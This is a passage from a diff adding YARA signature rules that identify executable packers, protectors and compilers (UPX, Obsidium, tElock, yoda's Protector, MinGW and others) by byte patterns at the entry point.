+		$0 = {5E 83 C6 64 AD 50 AD 50 83 EE 6C AD 50 AD 50 AD 50 AD 50 AD 50 E8 E7 07 00 00}
+		$1 = {5E 83 C6 64 AD 50 AD 50 83 EE 6C AD 50 AD 50 AD 50 AD 50 AD 50 E8 E7 07}
+	condition:
+		$0 or $1
+}
+rule _AntiDote_12_Beta_Demo__SISTeam_
+{
+	meta:
+		description = "AntiDote 1.2 Beta (Demo) -> SIS-Team"
+	strings:
+		$0 = {68 69 D6 00 00 E8 C6 FD FF FF 68 69 D6 00 00 E8 BC FD FF FF 83 C4 08 E8 A4 FF FF FF 84 C0 74 2F 68 04 01 00 00 68 B0 21 60 00 6A 00 FF 15 08 10 60 00 E8 29 FF FF FF 50 68 88 10 60 00 68 78 10 60 00 68 B0 21 60 00 E8 A4 FD FF FF 83 C4 10 33 C0 C2 10 00 90 90 90 90 90 90 90 90 90 90 90 90 8B 4C 24 08 56 8B 74 24 08 33 D2 8B C6 F7 F1 8B C6 85 D2 74 08 33 D2 F7 F1 40 0F AF C1 5E C3 90 8B 44 24 04 53 55 56 8B 48 3C 57 03 C8 33 D2 8B 79 54 8B 71 38 8B C7 F7 F6 85 D2 74 0C 8B C7 33 D2 F7 F6 8B F8 47 0F AF FE 33 C0 33 DB 66 8B 41 14 8D 54 08 18 33 C0}
+	condition:
+		$0 at entrypoint
+}
+rule _Anskya_NTPacker_Generator__Anskya_
+{
+	meta:
+		description = "Anskya NTPacker Generator -> Anskya"
+	strings:
+		$0 = {55 8B EC 83 C4 F0 53 B8 88 1D 00 10 E8 C7 FA FF FF 6A 0A 68 20 1E 00 10 A1 14 31 00 10 50 E8 71 FB FF FF 8B D8 85 DB 74 2F 53 A1 14 31 00 10 50 E8 97 FB FF FF 85 C0 74 1F 53 A1 14 31 00 10 50 E8 5F FB FF FF 85 C0 74 0F 50 E8 5D FB FF FF 85 C0 74 05 E8 70}
+		$1 = {55 8B EC 83 C4 F0 53 B8 88 1D 00 10 E8 C7 FA FF FF 6A 0A 68 20 1E 00 10 A1 14 31 00 10 50 E8 71 FB FF FF 8B D8 85 DB 74 2F 53 A1 14 31 00 10 50 E8 97 FB FF FF 85 C0 74 1F 53 A1 14 31 00 10 50 E8 5F FB FF FF 85 C0 74 0F 50 E8 5D FB FF FF 85 C0 74 05 E8 70 FC FF FF 5B E8 F2 F6 FF FF 00 00 48 45 41 52 54}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _TPACK_v05c_m2_
+{
+	meta:
+		description = "T-PACK v0.5c -m2"
+	strings:
+		$0 = {68 ?? ?? FD 60 BE ?? ?? BF ?? ?? B9 ?? ?? F3 A4 8B F7 BF ?? ?? FC 46 E9 CE FD}
+	condition:
+		$0 at entrypoint
+}
+rule _RAZOR_1911_encruptor_
+{
+	meta:
+		description = "RAZOR 1911 encruptor"
+	strings:
+		$0 = {E8 ?? ?? BF ?? ?? 3B FC 72 ?? B4 4C CD 21 BE ?? ?? B9 ?? ?? FD F3 A5 FC}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v110b5_
+{
+	meta:
+		description = "PECompact v1.10b5"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 60 40 ?? 87 DD 8B 85 95 60 40 ?? 01 85 03 60 40 ?? 66 C7 85 ?? 60 40 ?? 90 90 BB 49}
+	condition:
+		$0 at entrypoint
+}
+rule _RECrypt_07x__Crudd_RET_
+{
+	meta:
+		description = "RE-Crypt 0.7x -> Crudd [RET]"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED F3 1D 40 00 B9 7B 09 00 00 8D BD 3B 1E 40 00 8B F7 61 60 E8 00 00 00 00 5D 55 81 04 24 0A 00 00 00 C3 8B F5 81 C5 ?? ?? 00 00 89 6D 34 89 75 38 8B 7D 38 81 E7 00 FF FF FF 81 C7 48 00 00 00 47 03 7D 60 8B 4D 5C 83 F9 00 7E 0F 8B}
+	condition:
+		$0 at entrypoint
+}
+rule _EXECryptor_226_DLL_minimum_protection__wwwstrongbitcom_
+{
+	meta:
+		description = "EXECryptor 2.2.6 DLL (minimum protection) -> www.strongbit.com"
+	strings:
+		$0 = {50 8B C6 87 04 24 68 ?? ?? ?? ?? 5E E9 ?? ?? ?? ?? 85 C8 E9 ?? ?? ?? ?? 81 C3 ?? ?? ?? ?? 0F 81 ?? ?? ?? 00 81 FA ?? ?? ?? ?? 33 D0 E9 ?? ?? ?? 00 0F 8D ?? ?? ?? 00 81 D5 ?? ?? ?? ?? F7 D1 0B 15 ?? ?? ?? ?? C1 C2 ?? 81 C2 ?? ?? ?? ?? 9D E9 ?? ?? ?? ?? C1}
+	condition:
+		$0
+}
+rule _Obsidium_v1331__Obsidium_Software_h_
+{
+	meta:
+		description = "Obsidium v1.3.3.1 -> Obsidium Software (h)"
+	strings:
+		$0 = {EB 01 ?? E8 29 00 00 00 EB 02 ?? ?? EB 03 ?? ?? ?? 8B 54 24 0C EB 02 ?? ?? 83 82 B8 00 00 00 24 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? C3 EB 02 ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 02 ?? ?? 50 EB 01 ?? 33 C0 EB}
+	condition:
+		$0 at entrypoint
+}
+rule _PUNiSHER_V15_Demo__FEUERRADER_
+{
+	meta:
+		description = "PUNiSHER V1.5 Demo -> FEUERRADER"
+	strings:
+		$0 = {EB 04 83 A4 BC CE 60 EB 04 80 BC 04 11 E8 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Lock_v106_
+{
+	meta:
+		description = "PE Lock v1.06"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 4B 45}
+	condition:
+		$0 at entrypoint
+}
+rule _MSLRH_v032a_fake_MSVCpp_70_DLL_Method_3__emadicius_h_
+{
+	meta:
+		description = "MSLRH v0.32a (fake MSVC++ 7.0 DLL Method 3) -> emadicius (h)"
+	strings:
+		$0 = {55 8B EC 53 8B 5D 08 56 8B 75 0C 5E 5B 5D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_Microsoft_Visual_Cpp_70_DLL__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [Microsoft Visual C++ 7.0 DLL] -> Anorganix"
+	strings:
+		$0 = {55 8D 6C 01 00 81 EC 00 00 00 00 8B 45 90 83 F8 01 56 0F 84 00 00 00 00 85 C0 0F 84}
+	condition:
+		$0 at entrypoint
+}
+rule _Unpacked_BSSFX_Archive_v19_
+{
+	meta:
+		description = "Unpacked BS-SFX Archive v1.9"
+	strings:
+		$0 = {1E 33 C0 50 B8 ?? ?? 8E D8 FA 8E D0 BC ?? ?? FB B8 ?? ?? CD 21 3C 03 73}
+	condition:
+		$0 at entrypoint
+}
+rule _UPolyX_v05_
+{
+	meta:
+		description = "UPolyX v0.5"
+	strings:
+		$0 = {83 EC 04 89 ?? 24 59 ?? ?? 00 00 00}
+		$1 = {BB 00 BD 46 00 83 EC 04 89 1C 24 ?? B9 ?? 00 00 00 80 33 ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+		$2 = {BB 00 BD 46 00 83 EC 04 89 1C 24 ?? B9 ?? 00 00 00 80 33 ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 or $1 or $2
+}
+rule _MinGW_v32x_WinMain_
+{
+	meta:
+		description = "MinGW v3.2.x (WinMain)"
+	strings:
+		$0 = {55 89 E5 83 EC 08 C7 04 24 01 00 00 00 FF 15 FC 40 40 00 E8 68 00 00 00 89 EC 31 C0 5D C3 89 F6 55 89 E5 83 EC 08 C7 04 24 02 00 00 00 FF 15 FC 40 40 00 E8 48 00 00 00 89 EC 31 C0 5D C3 89 F6 55 89 E5 83 EC 08 8B 55 08 89 14 24 FF 15 18 41 40 00 89 EC 5D C3 8D 76 00 8D BC 27 00 00 00 00 55 89 E5 83 EC 08 8B 55 08 89 14 24 FF 15 0C 41 40 00 89 EC 5D C3 8D 76 00 8D BC 27 00 00 00 00 55 89 E5 53 83 EC 24 C7 04 24 A0 11 40 00 E8 5D 08 00 00 83 EC 04 E8 55 03 00 00 C7 04 24 00 20 40 00 8B 15 10 20 40 00 8D 4D F8 C7 45 F8 00 00 00 00 89 4C 24 10 89 54 24 0C 8D 55 F4 89 54 24 08 C7 44 24 04 04 20 40 00 E8 D2 07 00 00 A1 20 20 40 00 85 C0 74 76 A3 30 20 40 00 A1 08 41 40 00 85 C0 74 1F 89 04 24 E8 93 07 00 00 8B 1D 20 20 40 00 89 04 24 89 5C 24 04 E8 91 07 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _yodas_Protector_1031__Ashkibiz_Danehlar_
+{
+	meta:
+		description = "yoda's Protector 1.03.1 -> Ashkibiz Danehlar"
+	strings:
+		$0 = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8F 00 00 00 E8 03 00 00 00 EB 01 ?? E8 82 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B8 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AB 00 00 00 E8 03 00 00 00 EB 01 ?? 83 FB 55 E8 03 00 00 00 EB 01 ?? 75 2E E8 03 00 00 00 EB 01 ?? C3 60 E8 00 00 00 00 5D 81 ED 74 72 42 00 8B D5 81 C2 C3 72 42 00 52 E8 01 00 00 00 C3 C3 E8 03 00 00 00 EB 01 ?? E8 0E 00 00 00 E8 D1 FF FF FF C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 4B CC C3 E8 03 00 00 00 EB 01 ?? 33 DB B9 3F A9 42 00 81 E9 6E 73 42 00 8B D5 81 C2 6E 73 42 00 8D 3A 8B F7 33 C0 E8 03 00 00 00 EB 01 ?? E8 17 00 00 00 90 90 90 E9 98 2E 00 00 33 C0 64 FF 30 64 89 20 43 CC C3 90 EB 01 ?? AC}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_v090_
+{
+	meta:
+		description = "tElock v0.90"
+	strings:
+		$0 = {E8 02 00 00 00 E8 00 E8 00 00 00 00 5E 2B}
+	condition:
+		$0 at entrypoint
+}
+rule _Yodas_Protector_v1032_Beta2__Ashkbiz_Danehkar_
+{
+	meta:
+		description = "Yoda's Protector v1.03.2 Beta2 -> Ashkbiz Danehkar"
+	strings:
+		$0 = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8F 00 00 00 E8 03 00 00 00 EB 01 ?? E8 82 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B8 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Minke_V101__Codius__Sign_by_fly_
+{
+	meta:
+		description = "Minke V1.0.1 -> Codius ! Sign by fly"
+	strings:
+		$0 = {26 3D 4F 38 C2 82 37 B8 F3 24 42 03 17 9B 3A 83 01 00 00 CC 00 00 00 00 06 00 00 00 01 64 53 74 75 62 00 10 55 54 79 70 65 73 00 00 C7 53 79 73 74 65 6D 00 00 81 53 79 73 49 6E 69 74 00 0C 4B 57 69 6E 64 6F 77 73 00 00 8A 75 46 75 6E 63 74 69 6F 6E 73}
+	condition:
+		$0
+}
+rule _Packman_V10__Brandon_LaCombe_
+{
+	meta:
+		description = "Packman V1.0 -> Brandon LaCombe"
+	strings:
+		$0 = {60 E8 00 00 00 00 5B 8D 5B C6 01 1B 8B 13 8D 73 14 6A 08 59 01 16 AD 49 75 FA}
+	condition:
+		$0 at entrypoint
+}
+rule _PocketPC_ARM_h_
+{
+	meta:
+		description = "PocketPC ARM (h)"
+	strings:
+		$0 = {F0 41 2D E9 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? A0 E1 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 50 E3 ?? 00 00 0A ?? ?? ?? ?? ?? ?? A0 ?? ?? ?? ?? ?? ?? ?? A0 ?? ?? ?? A0 E1 00 80 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? A0 E1}
+	condition:
+		$0 at entrypoint
+}
+rule _Minke_101__by_Codius_
+{
+	meta:
+		description = "Minke 1.0.1 - by Codius"
+	strings:
+		$0 = {55 8B EC 83 C4 F0 53 ?? ?? ?? ?? ?? 10 E8 7A F6 FF FF BE 68 66 00 10 33 C0 55 68 DB 40 00 10 64 FF 30 64 89 20 E8 FA F8 FF FF BA EC 40 00 10 8B C6 E8 F2 FA FF FF 8B D8 B8 6C 66 00 10 8B 16 E8 88 F2 FF FF B8 6C 66 00 10 E8 76 F2 FF FF 8B D0 8B C3 8B 0E E8}
+		$1 = {55 8B EC 83 C4 F0 53 ?? ?? ?? ?? ?? 10 E8 7A F6 FF FF BE 68 66 00 10 33 C0 55 68 DB 40 00 10 64 FF 30 64 89 20 E8 FA F8 FF FF BA EC 40 00 10 8B C6 E8 F2 FA FF FF 8B D8 B8 6C 66 00 10 8B 16 E8 88 F2 FF FF B8 6C 66 00 10 E8 76 F2 FF FF 8B D0 8B C3 8B 0E E8 E3 E4 FF FF E8 2A F9 FF FF E8 C1 F8 FF FF B8 6C 66 00 10 8B 16 E8 6D FA FF FF E8 14 F9 FF FF E8 AB F8 FF FF 8B 06 E8 B8 E3 FF FF 8B D8 B8 6C 66 00 10 E8 38 F2 FF FF 8B D3 8B 0E E8 A7 E4 FF ?? ?? ?? ?? C4 FB FF FF E8 E7 F8 FF FF 8B C3 E8 B0 E3 FF FF E8 DB F8 FF FF 33 C0 5A 59 59 64 89 10 68 E2 40 00 10 C3 E9 50 EB FF FF EB F8 5E 5B E8 BB EF FF FF 00 00 00 43 41 31 38}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _eXPressor_V10__CGSoftLabs_
+{
+	meta:
+		description = "eXPressor V1.0 -> CGSoftLabs"
+	strings:
+		$0 = {E9 35 14 00 00 E9 31 13 00 00 E9 98 12 00 00 E9 EF 0C 00 00 E9 42 13 00 00 E9 E9 02 00 00 E9 EF 0B 00 00 E9 1B 0D 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PESpin_v07__Cyberbob_h_
+{
+	meta:
+		description = "PESpin v0.7 -> Cyberbob (h)"
+	strings:
+		$0 = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 83 D5 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF E8 01 00 00 00 EA 5A 83 EA 0B FF E2 EB 04 9A EB 04 00 EB FB FF 8B 95 88 39 40 00 8B 42 3C 03 C2 89 85 92 39 40 00 EB 01 DB 41 C1 E1 07 8B 0C 01 03 CA E8 03 00 00 00 EB 04 9A EB FB 00 83 04 24 0C C3 3B 8B 59 10 03 DA 8B 1B 89 9D A6 39 40 00 53 8F 85 4A 38 40 00 BB ?? 00 00 00 B9 EC 0A 00 00 8D BD 36 3A 40 00 4F EB 01 AB 30 1C 39 FE CB E2 F9 EB 01 C8 68 CB 00 00 00 59 8D BD 56 44 40 00 E8 03 00 00 00 EB 04 FA EB FB 68 83 04 24 0C C3 8D C0 0C 39 02 E2 FA E8 02 00 00 00 FF 15 5A 8D 85 B3 5F 56 00 BB 54 13 0B 00 D1 E3 2B C3 FF E0 E8 01 00 00 00 68 E8 1A 00 00 00 8D 34 28 B9 08 00 00 00 B8 ?? ?? ?? ?? 2B C9 83 C9 15 0F A3 C8 0F 83 81 00 00 00 8D B4 0D 99 39 40 00 8B D6 B9 10 00 00 00 AC 84 C0 74 06 C0 4E FF 03 E2 F5 E8 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Thinstall_24x__25x__Jitit_Software_
+{
+	meta:
+		description = "Thinstall 2.4x - 2.5x -> Jitit Software"
+	strings:
+		$0 = {55 8B EC B8 ?? ?? ?? ?? BB ?? ?? ?? ?? 50 E8 00 00 00 00 58 2D ?? ?? ?? ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? BD ?? ?? ?? ?? 03 E8}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_V1350__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium V1.3.5.0 -> Obsidium Software"
+	strings:
+		$0 = {EB 03 ?? ?? ?? E8 ?? ?? ?? ?? EB 02 ?? ?? EB 04 ?? ?? ?? ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 20 EB 03 ?? ?? ?? 33 C0 EB 01 ?? C3 EB 02 ?? ?? EB 03 ?? ?? ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 04 ?? ?? ?? ?? 50 EB 04 ?? ?? ?? ?? 33 C0 EB 04 ?? ?? ?? ?? 8B 00 EB 03 ?? ?? ?? C3 EB 02 ?? ?? E9 FA 00 00 00 EB 01 ?? E8 ?? ?? ?? ?? EB 01 ?? EB 02 ?? ?? 58 EB 04 ?? ?? ?? ?? EB 02 ?? ?? 64 67 8F 06 00 00 EB 02 ?? ?? 83 C4 04 EB 01 ?? E8}
+	condition:
+		$0 at entrypoint
+}
+rule _PassLock_2000_10_Eng__MoonlightSoftware_
+{
+	meta:
+		description = "PassLock 2000 1.0 (Eng) -> Moonlight-Software"
+	strings:
+		$0 = {55 8B EC 53 56 57 BB 00 50 40 00 66 2E F7 05 34 20 40 00 04 00 0F 85 98 00 00 00 E8 1F 01 00 00 C7 43 60 01 00 00 00 8D 83 E4 01 00 00 50 FF 15 F0 61 40 00 83 EC 44 C7 04 24 44 00 00 00 C7 44 24 2C 00 00 00 00 54 FF 15 E8 61 40 00 B8 0A 00 00 00 F7 44 24}
+	condition:
+		$0 at entrypoint
+}
+rule _Nullsoft_Install_System_20a0_
+{
+	meta:
+		description = "Nullsoft Install System 2.0a0"
+	strings:
+		$0 = {83 EC 0C 53 56 57 FF 15 B4 10 40 00 05 E8 03 00 00 BE E0 E3 41 00 89 44 24 10 B3 20 FF 15 28 10 40 00 68 00 04 00 00 FF 15 14 11 40 00 50 56 FF 15 10 11 40 00 80 3D E0 E3 41 00 22 75 08 80 C3 02 BE E1 E3 41 00 8A 06 8B 3D 14 12 40 00 84 C0 74 19 3A C3 74}
+	condition:
+		$0
+}
+rule _Microsoft_Visual_Cpp_50__71_
+{
+	meta:
+		description = "Microsoft Visual C++ 5.0 - 7.1"
+	strings:
+		$0 = {55 8B EC 81 EC 04 01 00 00 68 04 01 00 00 8D 85 FC FE FF FF 50 6A 00 FF 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D FC FE FF FF 51 E8 ?? ?? ?? ?? 83 C4 04 E8 ?? ?? ?? ?? 6A 00 FF 15 ?? ?? ?? ?? 8B E5 5D C2 10 00}
+	condition:
+		$0
+}
+rule _UPX_20030X__Markus_Oberhumer_amp_Laszlo_Molnar_amp_John_Reiser_
+{
+	meta:
+		description = "UPX 2.00-3.0X -> Markus Oberhumer &amp; Laszlo Molnar &amp; John Reiser"
+	strings:
+		$0 = {5E 89 F7 B9 ?? ?? ?? ?? 8A 07 47 2C E8 3C 01 77 F7 80 3F ?? 75 F2 8B 07 8A 5F 04 66 C1 E8 08 C1 C0 10 86 C4 29 F8 80 EB E8 01 F0 89 07 83 C7 05 88 D8 E2 D9 8D ?? ?? ?? ?? ?? 8B 07 09 C0 74 3C 8B 5F 04 8D ?? ?? ?? ?? ?? ?? 01 F3 50 83 C7 08 FF ?? ?? ?? ?? ?? 95 8A 07 47 08 C0 74 DC 89 F9 57 48 F2 AE 55 FF ?? ?? ?? ?? ?? 09 C0 74 07 89 03 83 C3 04 EB E1 FF ?? ?? ?? ?? ?? 8B AE ?? ?? ?? ?? 8D BE 00 F0 FF FF BB 00 10 00 00 50 54 6A 04 53 57 FF D5 8D 87 ?? ?? ?? ?? 80 20 7F 80 60 28 7F 58 50 54 50 53 57 FF D5 58 61 8D 44 24 80 6A 00 39 C4 75 FA 83 EC 80 E9}
+	condition:
+		$0
+}
+rule _Upack_v038_beta__Dwing_
+{
+	meta:
+		description = "Upack v0.38 beta -> Dwing"
+	strings:
+		$0 = {BE B0 11 ?? ?? AD 50 FF 76 34 EB 7C 48 01 ?? ?? 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 00 ?? ?? ?? 00 00 ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 38 00 04 00 00 00 00 00 00 00 00 ?? ?? ?? 00 02 00 00 00 00 00 00 ?? 00 00 ?? 00 00 ?? 00 00 ?? ?? 00 00 00 10 00 00 10 00 00 00 00 00 00 0A 00 00 00 00 00 00 00 00 00 00 00 EE ?? ?? ?? 14 00 00 00 00 ?? ?? ?? ?? ?? ?? 00 FF 76 38 AD 50 8B 3E BE F0 ?? ?? ?? 6A 27 59 F3 A5 FF 76 04 83 C8 FF 8B DF AB EB 1C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 ?? ?? ?? ?? ?? 00 00 00 40 AB 40 B1 04 F3 AB C1 E0 0A B5 ?? F3 AB 8B 7E 0C 57 51 E9 ?? ?? ?? ?? E3 B1 04 D3 E0 03 E8 8D 53 18 33 C0 55 40 51 D3 E0 8B EA 91 FF 56 4C 33 D2 59 D1 E8 13 D2 E2 FA 5D 03 EA 45 59 89 6B 08 56 8B F7 2B F5 F3 A4 AC 5E B1 80 AA 3B 7E 34 0F 82 97 FE FF FF 58 5F 59 E3 1B 8A 07 47 04 18 3C 02 73 F7 8B 07 3C ?? 75 F1 B0 00 0F C8 03 46 38 2B C7 AB E2 E5 5E 5D 59 51 59 46 AD 85 C0 74 1F}
+	condition:
+		$0 at entrypoint
+}
+rule _Unknown_UPX_modifyer_
+{
+	meta:
+		description = "Unknown UPX modifyer"
+	strings:
+		$0 = {E8 02 00 00 00 CD 03 5A 81 C2 ?? ?? ?? ?? 81 C2 ?? ?? ?? ?? 89 D1 81 C1 3C 05 00 00 52 81 2A 33 53 45 12 83 C2 04 39 CA 7E F3 89 CA 8B 42 04 8D 18 29 02 BB 78 56 00 00 83 EA 04 3B 14 24 7D EC C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Soft_Defender_11x__Randy_Li_
+{
+	meta:
+		description = "Soft Defender 1.1x -> Randy Li"
+	strings:
+		$0 = {74 07 75 05 19 32 67 E8 E8 74 1F 75 1D E8 68 39 44}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_099__10_private__tE_
+{
+	meta:
+		description = "tElock 0.99 - 1.0 private -> tE!"
+	strings:
+		$0 = {E9 ?? ?? FF FF 00 00 00 ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _EEXE_Version_112_
+{
+	meta:
+		description = "EEXE Version 1.12"
+	strings:
+		$0 = {B4 30 CD 21 3C 03 73 ?? BA 1F 00 0E 1F B4 09 CD 21 B8 FF 4C CD 21}
+	condition:
+		$0 at entrypoint
+}
+rule _Unknown_Joiner_sign_from_pinch_26032007_0212_
+{
+	meta:
+		description = "Unknown Joiner (sign from pinch 26.03.2007 02:12)"
+	strings:
+		$0 = {44 90 4C 90 B9 DE 00 00 00 BA 00 10 40 00 83 C2 03 44 90 4C B9 07 00 00 00 44 90 4C 33 C9 C7 05 08 30 40 00 00 00 00 00 90 68 00 01 00 00 68 21 30 40 00 6A 00 E8 C5 02 00 00 90 6A 00 68 80}
+	condition:
+		$0 at entrypoint
+}
+rule _Petite_v14_
+{
+	meta:
+		description = "Petite v1.4"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 66 9C 60 50 8B D8 03 00 68 ?? ?? ?? ?? 6A 00}
+	condition:
+		$0 at entrypoint
+}
+rule _DOS16M_DOS_Extender_c_Tenberry_Software_Inc_19871995_
+{
+	meta:
+		description = "DOS/16M DOS Extender (c) Tenberry Software Inc 1987-1995"
+	strings:
+		$0 = {BF ?? ?? 8E C7 8E D7 BC ?? ?? 36 ?? ?? ?? ?? FF ?? ?? ?? 36 ?? ?? ?? ?? BE ?? ?? AC 8A D8 B7 00 ?? ?? 8B ?? ?? ?? 4F 8E C7}
+	condition:
+		$0 at entrypoint
+}
+rule _SVKProtector_v111_
+{
+	meta:
+		description = "SVK-Protector v1.11"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5D 81 ED 06 ?? ?? ?? 64 A0 23}
+	condition:
+		$0 at entrypoint
+}
+rule _FACRYPT_v10_
+{
+	meta:
+		description = "FACRYPT v1.0"
+	strings:
+		$0 = {B9 ?? ?? B3 ?? 33 D2 BE ?? ?? 8B FE AC 32 C3 AA 49 43 32 E4 03 D0 E3}
+	condition:
+		$0 at entrypoint
+}
+rule _RCryptor_v13b__Vaska_
+{
+	meta:
+		description = "RCryptor v1.3b --> Vaska"
+	strings:
+		$0 = {61 83 EF 4F 60 68 ?? ?? ?? ?? FF D7}
+		$1 = {61 83 EF 4F 60 68 ?? ?? ?? ?? FF D7 B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _ASPR_Stripper_v2x_unpacked_
+{
+	meta:
+		description = "ASPR Stripper v2.x unpacked"
+	strings:
+		$0 = {BB ?? ?? ?? ?? E9 ?? ?? ?? ?? 60 9C FC BF ?? ?? ?? ?? B9 ?? ?? ?? ?? F3 AA 9D 61 C3 55 8B EC}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_V125__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium V1.25 -> Obsidium Software"
+	strings:
+		$0 = {E8 0E 00 00 00 8B 54 24 0C 83 82 B8 00 00 00 0D 33 C0 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_PECompact_14p_
+{
+	meta:
+		description = "PseudoSigner 0.1 [PECompact 1.4+]"
+	strings:
+		$0 = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 EB 06 68 90 90 90 90 C3 9C 60 E8 02 90 90 90 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_V115V117_Dll__ap0x__Sign_by_fly_
+{
+	meta:
+		description = "RLPack V1.15-V1.17 Dll -> ap0x ! Sign by fly"
+	strings:
+		$0 = {80 7C 24 08 01 0F 85 ?? 01 00 00 60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 33 FF E8}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Protect_09_
+{
+	meta:
+		description = "PE Protect 0.9"
+	strings:
+		$0 = {E9 ?? 00 00 00 0D 0A 0D 0A C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 0D 0A 50 45 2D 50 52 4F 54 45 43 54 20 30 2E 39 20 28 43 29 6F}
+	condition:
+		$0
+}
+rule _SDProtector_BasicPro_Edition_112__Randy_Li_h_
+{
+	meta:
+		description = "SDProtector Basic/Pro Edition 1.12 -> Randy Li (h)"
+	strings:
